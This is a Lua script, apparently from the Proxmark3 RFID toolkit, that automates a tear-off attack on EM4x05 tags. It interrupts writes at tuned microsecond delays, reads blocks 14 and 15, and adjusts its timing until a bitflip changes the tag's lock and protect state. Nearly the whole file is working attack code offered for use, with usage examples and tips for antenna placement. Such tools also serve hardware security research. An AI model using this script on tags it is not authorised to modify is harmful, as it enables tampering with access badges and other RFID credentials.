client/luascripts/lf_em_tearoff_protect.lua
local getopt = require('getopt')
local ansicolors = require('ansicolors')

copyright = 'Iceman'
author =  [[
'Author   Iceman
 CoAuthor Doegox
]]
version = 'v1.0.2'
desc = [[
This is scripts loops though a tear attack and reads expected value.
]]
example = [[
    Full automatic, with password:
    script run lf_em_tearoff_protect -p 50524F58

    Manual fix increment over specified range:
    script run lf_em_tearoff_protect -n 2 -s 200 -e 400

    Trying repeatedly for a fixed timing, forever or till success:
    script run lf_em_tearoff_protect -s 400 -e 400

    Tips:
        Use a low Q antenna
        Move card somehow away from the antenna to a position where it still works
]]
usage = [[
script run lf_em_tearoff_protect [-h] [-n <steps us>] [-p <pwd>] [-s <start us>] [-e <end us>]
]]
arguments = [[
    -h                 This help
    -n <steps us>      steps in milliseconds for each tear-off
    -p <pwd>           (optional) use a password
    -s <delay us>      initial start delay
    -e <delay us>      end delay, must be larger or equal to start delay
    end
]]

local set_tearoff_delay = 'hw tearoff --on --delay %d'
local wr_template = 'lf em 4x05 write --po -d %s -p %s'

---
-- This is only meant to be used when errors occur
local function oops(err)
    print('ERROR:', err)
    core.clearCommandBuffer()
    return nil, err
end
---
-- Usage help
local function help()
    print(copyright)
    print(author)
    print(version)
    print(desc)
    print(ansicolors.cyan..'Usage'..ansicolors.reset)
    print(usage)
    print(ansicolors.cyan..'Arguments'..ansicolors.reset)
    print(arguments)
    print(ansicolors.cyan..'Example usage'..ansicolors.reset)
    print(example)
end

local function exit_msg()
    print('')
    print('================= '..ansicolors.green..'verify with'..ansicolors.reset..' =================')
    print('    lf em 4x05_dump')
    print('===============================================')
    return nil
end

local function reset(wr_value, password)
    print('[=] '..ansicolors.red..'resetting the active lock block'..ansicolors.reset)
    core.console(wr_template:format(wr_value, password))
end

local function main(args)

    --[[
    Basically it does the following,

    1. hw tear
    2. lf em 4x05_write
    3. lf em 4x05_read

    The first two commands don't need a feedback from the system, so going with core.console commands.
    Since the read needs demodulation of signal I opted to add that function from cmdlfem4x.c to the core lua scripting
        core.em4x05_read(addr, password)

    --]]
    local n, password, sd, ed

    for o, a in getopt.getopt(args, 'he:s:p:n:') do
        if o == 'h' then return help() end
        if o == 'n' then n = tonumber(a) end
        if o == 'p' then password = a end
        if o == 'e' then ed = tonumber(a) end
        if o == 's' then sd = tonumber(a) end
    end

    password = password or ''
    if #password ~= 8 then
        password = ''
    end

    local word14, err14 =  core.em4x05_read(14, password)
    if err14 then
        return oops(err14)
    end
    local word15, err15 =  core.em4x05_read(15, password)
    if err15 then
        return oops(err15)
    end
    local bit15 = bit.band(0x00008000, word15)
    if bit15 == 0x00008000 then
        rd_value = ('%08X'):format(word15)
        reset(wr_value, password)
    else
        rd_value = ('%08X'):format(word14)
    end
    if rd_value == '00008000' then
        print('Tag already fully unlocked, nothing to do')
        return nil
    end
    local wr_value = '00000000'
    local auto = false
    if n == nil then
        auto = true
        sd = sd or 2000
        ed = ed or 6000
        n = (ed - sd) / 2
    else
        if sd == nil or ed == nil then
            return oops('start and stop delays need to be defined')
        end
        if sd > ed then
            return oops('start delay can\'t be larger than end delay', sd, ed)
        end
    end

    print('==========================================')
    print('Starting EM4x05 tear-off : target PROTECT')

    if password ~= '' then
        print('target pwd', password)
    end
    if auto then
        print('automatic mode', 'enabled')
    end
    print('target stepping', n)
    print('target delay', sd ,ed)
    print('read value', rd_value)
    print('write value', wr_value)
    print('==========================================')

    local res_tear = 0
    local res_nowrite = 0

    -- fix at one specific delay
    if sd == ed then
       n = 0
    end

    local tries = 0
    local soon = 0
    local late = 0
    while sd <= ed do

        if auto and n < 1 then -- n is a float
            print('[!] Reached n < 1                       => '..ansicolors.yellow..'disabling automatic mode'..ansicolors.reset)
            ed = sd
            auto = false
            n = 0
        end
        if not auto then
            sd = sd + n
        end
        if (tries >= 5) and (n == 0) and (soon ~= late) then
            if soon > late then
                print(('[!] Tried %d times, soon:%i late:%i        => '):format(tries, soon, late)..ansicolors.yellow..'adjusting delay by +1 us'..ansicolors.reset)
                sd = sd + 1
                ed = ed + 1
            else
                print(('[!] Tried %d times, soon:%i late:%i        => '):format(tries, soon, late)..ansicolors.yellow..'adjusting delay by -1 us'..ansicolors.reset)
                sd = sd - 1
                ed = ed - 1
            end
            tries = 0
            soon = 0
            late = 0
        end

        io.flush()
        if core.kbd_enter_pressed() then
            print("aborted by user")
            break
        end

        core.clearCommandBuffer()

        local c = set_tearoff_delay:format(sd)
        core.console(c);

        c = wr_template:format(wr_value, password)
        core.console(c)

        word14, err14 =  core.em4x05_read(14, password)
        if err14 then
            return oops(err14)
        end

        local wordstr14 = ('%08X'):format(word14)

        word15, err15 =  core.em4x05_read(15, password)
        if err15 then
            return oops(err15)
        end

        local wordstr15 = ('%08X'):format(word15)

        print(('[=] ref:'..rd_value..' 14:%08X 15:%08X '):format(word14, word15))


        if wordstr14 == rd_value and wordstr15 == '00000000' then
            print('[=] Status: Nothing happened            => '..ansicolors.green..'tearing too soon'..ansicolors.reset)
            if auto then
                sd = sd + n
                n = n / 2
                print(('[+] Adjusting params: n=%i sd=%i ed=%i'):format(n, sd, ed))
            else
                soon = soon + 1
            end
        else
            if wordstr15 == rd_value then
                if wordstr14 == '00000000' then
                    print('[=] Status: Protect succeeded           => '..ansicolors.green..'tearing too late'..ansicolors.reset)
                else
                    if wordstr14 == rd_value then
                        print('[=] Status: 15 ok, 14 not yet erased    => '..ansicolors.green..'tearing too late'..ansicolors.reset)
                    else
                        print('[=] Status: 15 ok, 14 partially erased  => '..ansicolors.green..'tearing too late'..ansicolors.reset)
                    end
                end
                reset(wr_value, password)
                -- it could still happen that a bitflip got committed, let's check...
                local word14b, err14b =  core.em4x05_read(14, password)
                if err14b then
                    return oops(err14b)
                end
                local wordstr14b = ('%08X'):format(word14b)
                if (wordstr14b == '00000000') then
                    reset(wr_value, password)
                    word14b, err14b =  core.em4x05_read(14, password)
                    if err14b then
                        return oops(err14b)
                    end
                end
                if (wordstr14b ~= rd_value) then
                    local word15b, err15b =  core.em4x05_read(15, password)
                    if err15b then
                        return oops(err15b)
                    end
                    print(('[=] Status: new definitive value!       => '..ansicolors.red..'SUCCESS:   '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..'  15: %08X'):format(word14b, word15b))
                    return exit_msg()
                end
                if auto then
                    ed = sd
                    sd = sd - n
                    n = n / 2
                    print(('[+] Adjusting params: n=%i sd=%i ed=%i'):format(n, sd, ed))
                else
                    late = late + 1
                end
            else
                bit15 = bit.band(0x00008000, word15)
                if bit15 == 0x00008000 then
                    print(('[=] Status: 15 bitflipped and active    => '..ansicolors.red..'SUCCESS?:  '..ansicolors.reset..'14: %08X  15: '..ansicolors.cyan..'%08X'..ansicolors.reset):format(word14, word15))
                    print('[+] Committing results...')
                    reset(wr_value, password)
                    local word14b, err14b =  core.em4x05_read(14, password)
                    if err14b then
                        return oops(err14b)
                    end
                    local wordstr14b = ('%08X'):format(word14b)
                    local word15b, err15b =  core.em4x05_read(15, password)
                    if err15b then
                        return oops(err15b)
                    end
                    local wordstr15b = ('%08X'):format(word15b)
                    print(('[=] ref:'..rd_value..' 14:%08X 15:%08X '):format(word14b, word15b))

                    bit15 = bit.band(0x00008000, word14b)
                    if bit15 == 0x00008000 then
                        if (wordstr14b == wordstr15) then
                            print(('[=] Status: confirmed                   => '..ansicolors.red..'SUCCESS:   '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..'  15: %08X'):format(word14b, word15b))
                            return exit_msg()
                        end
                        if (wordstr14b ~= rd_value) then
                            print(('[=] Status: new definitive value!       => '..ansicolors.red..'SUCCESS:   '..ansicolors.reset..'14: '..ansicolors.cyan..'%08X'..ansicolors.reset..'  15: %08X'):format(word14b, word15b))
                            return exit_msg()
                        end
                        print(('[=] Status: failed to commit bitflip        => '..ansicolors.red..'FAIL:      '..ansicolors.reset..'14: %08X  15: %08X'):format(word14b, word15b))
                    else
                        print(('[=] Status: failed to commit                => '..ansicolors.red..'FAIL:      '..ansicolors.reset..'14: %08X  15: %08X'):format(word14b, word15b))
                    end
                    if auto then
                        n = 0
                        ed = sd
                    else
                        tries = 0
                        soon = 0
                        late = 0
                    end
                else
                    print(('[=] Status: 15 bitflipped but inactive  => '..ansicolors.yellow..'PROMISING: '..ansicolors.reset..'14: %08X  15: '..ansicolors.cyan..'%08X'..ansicolors.reset):format(word14, word15))
                end
            end
        end
        if not auto then
            tries = tries + 1
        end
    end
end

--[[
In the future, we may implement so that scripts are invoked directly
into a 'main' function, instead of being executed blindly. For future
compatibility, I have done so, but I invoke my main from here.
--]]
main(args)
